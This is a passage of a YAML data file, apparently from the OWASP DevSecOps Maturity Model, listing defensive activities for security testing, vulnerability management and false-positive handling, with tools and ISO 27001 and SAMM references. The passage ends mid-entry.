Patching mean time to resolution via PR + - Automated PRs for patches + implementation: [] + references: + samm2: + - I-DM-B-2 + iso27001-2017: + - 16.1.4 + iso27001-2022: + - 5.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/77ffc53e-9f3d-41f4-92d3-02f04f9b6b0f + tags: + - patching + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false + SLA per criticality: + uuid: 51f3fce5-b5c8-4683-8c41-e785fe4f3b5f + risk: "Not communicating how many applications are adhering to SLAs based on + the criticality of vulnerabilities can lead to delayed remediation of \ncritical + security issues, increasing the risk of exploitation and potential damage + to the organization." + measure: "Measurement and communication of how many of the vulnerabilities handling + per severity for components like applications are aligned to SLAs. \nThis + is performed for the hole organization and doesn't need to be broken down + (yet) on team/product/application. \nAt least quarterly." + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + dependsOn: [] + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - I-DM-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Test + KPI/51f3fce5-b5c8-4683-8c41-e785fe4f3b5f + tags: + - vulnerability-mgmt + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false +Test and Verification: + Application tests: + High coverage of security related module and integration tests: + uuid: 67667c97-c33e-4306-a4e5-e7b1d8e10c5a + risk: Vulnerabilities are rising due to code changes in a complex microservice + environment in not important components. + measure: Implementation of security related tests via unit tests and integration + tests. Including the test of libraries, in case the are not tested already. + difficultyOfImplementation: + knowledge: 5 + time: 5 + resources: 3 + usefulness: 3 + level: 5 + implementation: [] + references: + samm2: + - V-RT-B-3 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + tests/67667c97-c33e-4306-a4e5-e7b1d8e10c5a + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security integration tests for important components: + uuid: f57d55f2-dc05-4b34-9d1f-f8ce5bfb0715 + risk: Vulnerabilities are rising due to code changes in a complex microservice + environment. + measure: Implementation of essential security related integration tests. For + example for authentication and authorization. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 2 + usefulness: 2 + level: 3 + references: + samm2: + - V-RT-A-3 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + tests/f57d55f2-dc05-4b34-9d1f-f8ce5bfb0715 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Security unit tests for important components: + uuid: eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 + risk: Vulnerabilities are rising due to code changes. + measure: Usage of unit tests to test important security related features like + authentication and authorization. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 2 + usefulness: 3 + level: 2 + comments: | + The integration of module tests takes place during development instead, it highlights vulnerabilities in sub-routines, functions, modules, libraries etc. checked. + A sample implementation of unit tests are explained in the video [Shift-Left-Security with the Security Test Pyramid - Andreas Falk](https://www.youtube.com/watch?v=TzFZy3f7d8E) starting with minute 9. + implementation: + - uuid: cc2eec82-f3a7-4ae5-9ccb-3d75352b2e4d + name: JUnit + tags: + - unittest + url: https://junit.org/junit5/ + - uuid: fd56720a-ad4b-487c-b4c3-897a688672c4 + name: Karma + tags: [] + url: https://karma-runner.github.io + references: + samm2: + - V-RT-A-3 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + tests/eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Smoke Test: + uuid: 73aaae0b-5d68-4953-9fa4-fd25bf665f2a + risk: During a deployment an error might happen which leads to non-availability + of the system, a part of the system or a feature. + measure: Integration tests are performed against the production environment + after each deployment. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 2 + level: 4 + implementation: [] + dependsOn: + - Defined deployment process + references: + samm2: + - V-RT-A-3 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + tests/73aaae0b-5d68-4953-9fa4-fd25bf665f2a + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Consolidation: + Advanced visualization of defects: + uuid: 7a82020c-94d1-471c-bbd3-5f7fe7df4876 + risk: Correlation of the vulnerabilities of different tools to have an overview + of the the overall security level per component/project/team is not given. + measure: Findings are visualized per component/project/team. + difficultyOfImplementation: + knowledge: 2 + time: 4 + resources: 1 + usefulness: 2 + level: 4 + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + references: + samm2: + - I-DM-A-3 + iso27001-2017: + - 16.1.4 + - 8.2.1 + - 8.2.2 + - 8.2.3 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/7a82020c-94d1-471c-bbd3-5f7fe7df4876 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Artifact-based false positive treatment: + uuid: 8f2b4d5a-3c1e-4b7a-9d8f-2e6c4a1b5d7f + risk: Without artifact-specific false positive handling, teams must repeatedly + triage the same findings across different versions or deployments of the same + component, leading to inefficient use of security resources. + measure: "Implement false positive marking and temporary acceptance of findings + \nbased on specific artifacts (applications, components, or repositories).\nThis + allows teams to suppress findings for specific versions or builds\nwhile maintaining + visibility for future releases." + description: |- + Artifact-based false positive treatment enables more granular control + over finding suppression by linking decisions to specific code artifacts, + container images, or application versions. This approach helps maintain + security oversight while reducing repeated analysis overhead. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + dependsOn: + - Simple false positive treatment + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + references: + samm2: + - I-DM-A-2 + - I-DM-B-2 + - I-SB-B-3 + iso27001-2017: + - 16.1.4 + - 16.1.6 + iso27001-2022: + - 5.25 + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/8f2b4d5a-3c1e-4b7a-9d8f-2e6c4a1b5d7f + tags: + - false-positive + - defect-management + teamsImplemented: + Default: false + B: false + C: false + Fix based on accessibility: + uuid: 0c10a7f7-f78f-49f2-943d-19fdef248fed + risk: Overwhelming volume of security findings from automated testing tools. + This might lead to ignorance of findings. + measure: Implement a simple risk-based prioritization framework for vulnerability + remediation based on accessibility of the applications. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + meta: + implementationGuide: |- + Develop a scoring system for asset accessibility, considering factors like: + - Whether the asset is internet-facing (highly recommended) + - The number of network hops required to reach the asset (recommended) + - Authentication requirements for access (recommended) + dependsOn: + - Treatment of defects with severity high or higher + - Inventory of production components + implementation: ~ + references: + samm2: + - I-DM-A-3 + iso27001-2017: + - 16.1.4 + - 8.2.1 + - 8.2.2 + - 8.2.3 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/0c10a7f7-f78f-49f2-943d-19fdef248fed + tags: + - vuln-action + - defect-management + teamsImplemented: + Default: false + B: false + C: false + Global false positive treatment: + uuid: 9e3a7c2f-1b4d-4e8a-a5c6-7f2b9d1e3a8c + risk: Without centralized false positive management across environments, organizations + face inconsistent security decisions, duplicated analysis efforts, and potential + security gaps when the same findings are handled differently across applications + and teams. + measure: "Implement global false positive and acceptance management that applies + \nconsistently across all applications. This enables organization-wide security + decisions and reduces redundant \nanalysis of common false positives." + description: "Global false positive treatment allows (security) teams to make + \norganization-wide decisions about specific vulnerabilities or finding \npatterns. + When a finding is marked as a false positive or temporarily \naccepted at + the global level, this decision automatically applies to \nall applications + in the specified environment, ensuring consistency \nand operational efficiency." + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Artifact-based false positive treatment + - Usage of a vulnerability management system + implementation: ~ + references: + samm2: + - I-DM-B-2 + - I-DM-A-3 + - I-SB-B-3 + iso27001-2017: + - 16.1.3 + - 16.1.4 + - 16.1.6 + iso27001-2022: + - 6.8 + - 5.25 + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/9e3a7c2f-1b4d-4e8a-a5c6-7f2b9d1e3a8c + tags: + - false-positive + - defect-management + teamsImplemented: + Default: false + B: false + C: false + Integration in development process: + uuid: aaffa73f-59f6-4267-b0ab-732f3d13e90d + risk: "Not integrating vulnerability handling into the development process may + result in product teams ignoring findings. \n\nSecurity joke: We will gain + 100% false negatives." + measure: Integration of findings into the development process. E.g. adding findings + to the backlog of products teams. + description: |- + Validating Findings by Security Engineers Pros: + - Ensures accuracy and relevance of findings before they reach product teams + - Reduces false positives, saving development teams time and effort + - Might provides a layer of expertise in assessing the severity and impact of vulnerabilities + + Validating Findings by Security Engineers Cons: + - Requires a sufficient number of skilled security engineers, which might be challenging for some organizations + - May slow down the process if security engineers are overloaded with validation tasks + - For Software Composition Analysis findings (known vulnerabilities) I, as a sec. eng., struggle to analysis if it is a false positive/true positive due to a lack of insights in the application + + Pushing Findings Directly to Product Teams Pros: + - Accelerates the process by immediately notifying product teams of potential vulnerabilities + - Empowers product teams to take swift action in addressing security issues + Pushing Findings Directly to Product Teams Cons: + - Increases the workload on product teams, potentially leading to frustration + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + dependsOn: [] + implementation: + - uuid: 889444eb-de68-4367-bada-a66f8cb9733a + name: Jira + tags: + - documentation + - issue + - proprietary + url: https://jira.atlassian.com/ + description: Jira is a bug tracking and project management tool developed + by Atlassian, used by development teams for tracking issues, planning sprints, + and managing software releases. It offers features for creating and managing + tasks, assigning them to team members, and monitoring progress through customizable + workflows and dashboards. + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - I-DM-A-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/aaffa73f-59f6-4267-b0ab-732f3d13e90d + tags: + - vulnerability-mgmt + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false + Integration of vulnerability issues into the development process: + uuid: ce970c9b-da94-41cf-bd78-8c15357b7e8e + risk: To read console output of the build server to search for vulnerabilities + might be difficult. Also, to check a vulnerability management system might + not be a daily task for a developer. + measure: Vulnerabilities are tracked in the teams issue system (e.g. jira). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 2 + level: 3 + implementation: + - uuid: aaad322e-806e-4c51-b78d-6551f7dc376a + name: SAST + tags: [] + description: 'At SAST (Static Application Security Testing): Server-side / + client-side teams can easily be recorded. With microservice architecture + individual microservices can be used usually Teams.' + url: https://d3fend.mitre.org/dao/artifact/d3f:StaticAnalysisTool/ + - uuid: 9d4bd377-11ec-4054-9c9e-9bfb99ac9609 + name: DAST + tags: [] + description: 'At DAST (Dynamic Application Security Testing): vulnerabilities + are classified and can be assigned to server-side and client-side teams.' + url: https://d3fend.mitre.org/dao/artifact/d3f:DynamicAnalysisTool/ + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 16.1.4 + - 16.1.5 + - 16.1.6 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.25 + - 5.26 + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/ce970c9b-da94-41cf-bd78-8c15357b7e8e + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Reproducible defect tickets: + uuid: 27337442-e4b1-4e87-8dc9-ce86fbb79a39 + risk: Vulnerability descriptions are hard to understand by staff from operations + and development. + measure: Vulnerabilities include the test procedure to give the staff from operations + and development the ability to reproduce vulnerabilities. This enhances the + understanding of vulnerabilities and therefore the fix have a higher quality. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 2 + level: 4 + implementation: [] + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - 16.1.4 + - 8.2.1 + - 8.2.2 + - 8.2.3 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/27337442-e4b1-4e87-8dc9-ce86fbb79a39 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple false positive treatment: + uuid: c1acc8af-312e-4503-a817-a26220c993a0 + risk: As false positive occur during each test, all vulnerabilities might be + ignored. Specially, if tests are automated an run daily. + measure: |- + Findings from security tests must be triaged and outcomes persisted/documented to: + - Prevent re-analysis of known issues in subsequent test runs + - Track accepted risks vs false positives + - Enable consistent decision-making across teams + + At this maturity level, a simple tracking system suffices - tools need only distinguish between "triaged" and "untriaged" findings, without complex categorization. Some tools refer to this as "suppression" of findings. + + Samples for false positive handling: + - [OWASP Dependency Check](https://jeremylong.github.io/DependencyCheck/general/suppression.html) + - [Kubescape with VEX](https://kubescape.io/blog/2023/12/07/kubescape-support-for-vex-generation/) + - [OWASP DefectDojo Risk Acceptance](https://docs.defectdojo.com/en/working_with_findings/findings_workflows/risk_acceptances/) and [False Positive Handling](https://docs.defectdojo.com/en/working_with_findings/intro_to_findings/#triage-vulnerabilities-using-finding-status) + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 4 + level: 1 + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + references: + samm2: + - I-DM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 16.1.6 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/c1acc8af-312e-4503-a817-a26220c993a0 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple visualization of defects: + uuid: 55f4c916-3a34-474d-ad96-9a9f7a4f6a83 + risk: The security level of a component is not visible. Therefore, the motivation + to enhance the security is not give. + measure: Vulnerabilities are simple visualized. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: 06334caf-8be6-487a-96b1-d41c7ed5f207 + name: OWASP Dependency Check + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://owasp.org/www-project-dependency-check/ + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: ef80cd34-d3ba-4406-a4fa-4cf6f30c2e81 + name: LogParser Jenkins Plugins + tags: [] + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - 16.1.4 + - 8.2.1 + - 8.2.2 + - 8.2.3 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/55f4c916-3a34-474d-ad96-9a9f7a4f6a83 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Treatment of all defects: + uuid: b2f77606-3e6c-41e9-b72d-7c0b1d3d581d + risk: Vulnerabilities with severity low are not visible. + measure: All vulnerabilities are added to the quality gate. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 1 + usefulness: 2 + level: 5 + implementation: [] + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - 16.1.4 + - 12.6.1 + iso27001-2022: + - 8.8 + - 5.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/b2f77606-3e6c-41e9-b72d-7c0b1d3d581d + tags: + - vuln-action + - defect-management + comments: "" + teamsImplemented: + Default: false + B: false + C: false + Treatment of defects per protection requirement: + uuid: 2b7cc923-bdaf-43e3-8fb4-a995b7783969 + risk: "Not defining the protection requirement of applications can lead to wrong + prioritization, delayed remediation of \ncritical security issues, increasing + the risk of exploitation and potential damage to the organization." + measure: "Defining the protection requirement and the corresponding handling + of vulnerabilities per severity for components like applications are aligned + to SLAs. \n This is performed for the hole organization and doesn't need to + be broken down (yet) on team/product/application. \n At least quarterly." + description: |- + The protection requirements for an application should consider: + - Data criticality + - Application accessibility (internal vs. external) + - Regulatory compliance + - Other relevant factors + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + dependsOn: [] + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - I-DM-A-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/2b7cc923-bdaf-43e3-8fb4-a995b7783969 + tags: + - vulnerability-mgmt + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false + Treatment of defects with severity high or higher: + uuid: 44f2c8a9-4aaa-4c72-942d-63f78b89f385 + risk: Vulnerabilities with severity high or higher are not visible. + measure: Vulnerabilities with severity high or higher are added to the quality + gate. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + comments: False positive analysis, specially for static analysis, is time consuming. + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - 16.1.4 + - 12.6.1 + iso27001-2022: + - 8.8 + - 5.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/44f2c8a9-4aaa-4c72-942d-63f78b89f385 + implementation: [] + tags: + - vuln-action + - defect-management + teamsImplemented: + Default: false + B: false + C: false + Treatment of defects with severity middle: + uuid: 9cac3341-fe83-4079-bef2-bfc4279eb594 + risk: Vulnerabilities with severity middle are not visible. + measure: Vulnerabilities with severity middle are added to the quality gate. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + comments: False positive analysis, specially for static analysis, is time consuming. + references: + samm2: + - I-DM-A-2 + iso27001-2017: + - 16.1.4 + - 12.6.1 + iso27001-2022: + - 8.8 + - 5.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/9cac3341-fe83-4079-bef2-bfc4279eb594 + implementation: [] + tags: + - vuln-action + - defect-management + teamsImplemented: + Default: false + B: false + C: false + Usage of a vulnerability management system: + uuid: 85ba5623-84be-4219-8892-808837be582d + risk: Maintenance of false positives in each tool enforces a high workload. + In addition a correlation of the same finding from different tools is not + possible. + measure: Aggregation of vulnerabilities in one tool reduce the workload to handle + them, e.g. mark as false positives. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 2 + dependsOn: + - Exploit likelihood estimation + - Each team has a security champion + - Office Hours + level: 3 + description: "For known vulnerabilities a processes to estimate the exploit + ability of a vulnerability is recommended.\n\nTo implement a security culture + including training, office hours and security champions can help integrating + \nsecurity scanning at scale. Such activities help to understand why a vulnerability + is potentially critical and needs handling." + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. + references: + samm2: + - I-DM-A-3 + iso27001-2017: + - 12.6.1 + - 16.1.3 + - 16.1.4 + - 16.1.5 + - 16.1.6 + iso27001-2022: + - 8.8 + - 6.8 + - 5.25 + - 5.26 + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Consolidation/85ba5623-84be-4219-8892-808837be582d + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Dynamic depth for applications: + Coverage analysis: + uuid: d0ba0be5-c573-405f-b905-b7a8f87a9cc7 + risk: Parts of the service are not still covered by tests. + measure: Check that there are no missing paths in the application with coverage-tools. + difficultyOfImplementation: + knowledge: 4 + time: 5 + resources: 3 + usefulness: 4 + level: 5 + implementation: + - uuid: 7063cf8c-cd98-480f-8ef7-11cf241d2366 + name: OWASP Code Pulse + tags: [] + url: https://www.owasp.org/index.php/OWASP_Code_Pulse + - uuid: f011de6e-ab7c-4ec7-af55-03427271ab32 + name: Coverage.py + tags: + - testing + - coverage + url: https://github.com/nedbat/coveragepy + description: | + Code coverage measurement for Python + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + - part of periodic review, PDCA + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/d0ba0be5-c573-405f-b905-b7a8f87a9cc7 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage of client side dynamic components: + uuid: 9711f871-f79d-4573-8d4f-d2c98fd0d18e + risk: Parts of the service are not covered during the scan, because JavaScript + is not getting executed. Therefore, the coverage of client-side dynamic components + is limited, leading to potential security risks and undetected vulnerabilities. + measure: Usage of a spider which executes dynamic content like JavaScript, e.g. + via Selenium. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 4 + level: 2 + dependsOn: + - Usage of different roles + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/9711f871-f79d-4573-8d4f-d2c98fd0d18e + implementation: + - uuid: 6583fd5f-4314-4b39-9265-de72f861c8cb + name: Ajax Spider + tags: [] + url: https://www.zaproxy.org/docs/desktop/addons/ajax-spider/ + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage of hidden endpoints: + uuid: 6a9cb303-0f98-48a8-bdcd-56d41c0012b8 + risk: Hidden endpoints of the service are not getting tracked. + measure: Hidden endpoints are getting detected and included in the vulnerability + scan. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 5 + level: 3 + implementation: + - uuid: f2a5f642-43b3-4b2c-97d5-b14d5964981b + name: cURL + tags: [] + url: https://curl.se/ + - uuid: 